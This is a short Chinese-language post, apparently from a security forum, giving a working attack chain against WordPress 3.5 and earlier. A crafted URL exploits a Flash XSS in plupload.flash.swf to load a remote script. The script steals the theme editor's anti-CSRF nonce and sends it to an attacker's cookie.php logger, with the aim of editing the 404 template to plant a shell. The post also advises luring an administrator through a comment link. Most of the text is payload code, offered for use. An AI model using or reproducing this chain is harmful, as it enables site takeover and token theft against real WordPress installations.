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wordpress 3.5及一下版本有个FLASH XSS.详情见 WooYun: Flash应用安全系列[3]--WordPress反射型跨站(0day)
想骗取管理员点击你的链接 CSRF 添加个SHELL，可以是有个anti-csrf token.
但可以用这个XSS盗取anti-csrf token.进而顺利CSRF，拿shell。
假设我们要盗取的是修改404模版的token.
结合社工在评论下面添加下面的链接
http://localhost/wp/wp-includes/js/plupload/plupload.flash.swf?id=0\%22%29%29}catch%28e%29{if%28!window.x%29{window.x=1;document.write('<script src=http://localhost/1.js></script>');}}//
1.js 内容为

x=window.open('http://localhost/wp/wp-admin/theme-editor.php?file=404.php&theme=twentytwelve');
setTimeout("fuck(x)",5000);
function fuck(x) {
var a=x.document.getElementById('_wpnonce').value;
alert(a);
location.href='http://localhost/cookie.php?c='+a;
}

本地cookie.php内容为

<?php
fputs(fopen("cookie.txt","w"),$_GET[c]);
?>

管理员点击后。。。即可在COOKIE.TXT中看到你想要的，你值得拥有

说下 这个TOKEN是一直不会变的 除非重新安装WP。
O了 你们懂的